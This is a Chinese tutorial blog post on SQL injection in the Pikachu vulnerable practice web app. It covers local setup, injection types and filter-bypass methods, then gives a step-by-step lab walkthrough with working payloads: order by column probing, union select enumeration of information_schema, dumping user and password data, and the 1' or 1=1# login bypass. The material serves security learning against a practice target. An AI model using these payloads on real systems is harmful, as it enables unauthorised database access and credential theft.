文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

pikachu之SQL注入

2023-09-02 07:10

关注

一. pikachu介绍

1.1 简介

Pikachu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞。 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pikachu可能正合你意。

1.2 pikachu模块

二. pikachu的搭建

2.1 phpstudy的搭建

phpstudy下载地址小皮面板(phpstudy) - 让天下没有难配的服务器环境! (xp.cn)

下载完后双击压缩包中的应用程序

选择路径,这里我存储在D盘中

然后就安装成功了

 

2.2 pikachu的搭建

pikachu的下载地址:https://github.com/zhuifengshaonianhanlu/pikachu

将其解压到PHPstudy路径下的PHPTutorial下的WWW目录下

 在../www/pikachu-master/inc下,修改config.inc.php文件,如图: 

 然后在浏览器中访问http://127.0.0.1/pikachu-master(因为我的之前已经安装成功了,所以没有出现初始化安装)

三.SQL注入漏洞

3.1 SQL注入原理

     就是通过把恶意的sql命令插入web表单递交给服务器,或者输入域名或页面请求的查询字符串递交到服务器,达到欺骗服务器,让服务器执行这些恶意的sql命令,从而让攻击者,可以绕过一些机制,达到直接访问数据库的一种攻击手段。

3.2 SQL注入分类

(1)数字型        (2)字符型       (3)报错注入     (4)Boollean注入                (5)时间注入

3.3 SQL注入思路

(1).判断是否存在注入,注入是字符型还是数字型

(2).猜解SQL查询语句中的字段数

(3).确定回显位置

(4).获取当前数据库

(5).获取数据库中的表

(6).获取表中的字段名

(7).得到数据

3.4 SQL注入绕过方法

(1)注释符号绕过         (2)大小写绕过         (3)内联注释绕过

(4)特殊编码绕过         (5)空格过滤绕过       (6)过滤or and xor not 绕过

四.SQL注入漏洞的分析

4.1 定义

     SQL注入(SQLi)是一种注入攻击,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。

4.2 原因

    SQL 注入漏洞存在的原因,就是拼接SQL参数。也就是将用于输入的查询参数,直接拼接在SQL语句中,导致了SQL注入漏洞。web 开发人员无法保证所有的输入都已经过滤,攻击者利用发送给服务器的输入参数构造可执行的 SQL 代码(可加入到 get 请求、 post 谓求、 http 头信思、 cookie 中)。

五.SQL-Inject

5.1 数字型注入(post)

(1)判断注入类型,是数字型注入,还是字符型注入

我们可以看到是post请求,所以我们使用bp进行抓包,在burp里面进行

我们发送到重发器里面进行做,我们输入1可以看到返回给一个正常页面

 我们输入1',可以看到报错了

我们继续输入1' and '1'='1,可以看到还是报错了,我们猜测是数字型注入

 我们输入1and 1=1没有报错,1 and1=2报错了,所以类型是数字型注入(而且题目要告诉我们是数字型注入了,之所以这样做就是为了如何进行判断SQL注入类型)

 

(2)判断字段数                                     order by 

我们使用order by 进行判断字段数, 至到order by 进行报错时候就是字段数

id=1 order by 1没有报错

 id=1 order by 2没有报错,3报错了,所以字段数为2个

 (3)判断回显位置                       union select 1,2

(4)判断数据库                                     union select 1,database()

 (5)获取表名          1 union select 1,group_concat(table_name) from information_schema.tables where tables_schema=database() 

 (6)获取字段名                  1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'

(7)获取数据    1 union select user,password from users

5.2 字符型注入(get) 

 (1)判断类型,我们在上面已经讲过了如何进行判断SQL注入类型,所以这里我们就不讲了,直接进行做题(注意:这里需要万能密码才能做)

我们输入1'可以看到报错了

我们输入1' and '1'='1,可以看到不存在 这里我们使用万能密码(1' or 1=1#),可以看到所有的数据,后面就不用做了

 (2)后面步骤和前面一样,这里就不在写了,vince' order by 1#

后面的我们都可以使用sqlmap进行注入,所以后面的就在这里不讲解了。后面我会更新自己挖掘的漏洞.

来源地址:https://blog.csdn.net/qq_58091216/article/details/127682080

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯